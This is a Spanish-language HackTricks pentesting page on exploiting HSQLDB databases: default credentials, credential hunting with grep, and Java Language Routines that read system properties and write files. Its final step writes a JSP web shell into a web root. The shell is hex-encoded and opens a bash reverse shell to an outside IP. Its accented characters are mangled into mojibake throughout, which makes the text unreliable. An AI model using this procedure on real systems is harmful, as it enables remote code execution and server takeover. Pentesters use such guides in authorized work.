tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
HSQLDB (HyperSQL DataBase) es el sistema de base de datos relacional SQL l铆der escrito en Java. Ofrece un motor de base de datos peque帽o, r谩pido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor.
Puerto por defecto: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informaci贸n
Configuraciones Predeterminadas
Tenga en cuenta que por defecto este servicio probablemente se est茅 ejecutando en memoria o est茅 vinculado a localhost. Si lo encontr贸, probablemente explot贸 otro servicio y est谩 buscando escalar privilegios.
Las credenciales predeterminadas suelen ser sa
con una contrase帽a en blanco.
Si ha explotado otro servicio, busque posibles credenciales usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Tenga en cuenta el nombre de la base de datos cuidadosamente; lo necesitar谩 para conectarse.
Recolecci贸n de Informaci贸n
Con茅ctese a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar
. Ejecute la aplicaci贸n GUI (eww) usando java -jar hsqldb.jar
y con茅ctese a la instancia utilizando las credenciales descubiertas/d茅biles.
Tenga en cuenta que la URL de conexi贸n se ver谩 algo as铆 para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Trucos
Rutinas del Lenguaje Java
Podemos llamar a m茅todos est谩ticos de una clase de Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Tenga en cuenta que la clase llamada debe estar en el classpath de la aplicaci贸n.
Las JRTs pueden ser functions
o procedures
. Las funciones pueden ser llamadas a trav茅s de declaraciones SQL si el m茅todo de Java devuelve una o m谩s variables primitivas compatibles con SQL. Se invocan utilizando la declaraci贸n VALUES
.
Si el m茅todo de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaraci贸n CALL
.
Lectura de Propiedades del Sistema Java
Crear funci贸n:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Ejecutar funci贸n:
VALUES(getsystemproperty('user.name'))
Puedes encontrar una lista de propiedades del sistema aqu铆.
Escribir contenido en un archivo
Puedes usar el com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget de Java ubicado en el JDK (cargado autom谩ticamente en el class path de la aplicaci贸n) para escribir elementos codificados en hex en el disco a trav茅s de un procedimiento personalizado. Nota el tama帽o m谩ximo de 1024 bytes.
Crear procedimiento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Ejecutar procedimiento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.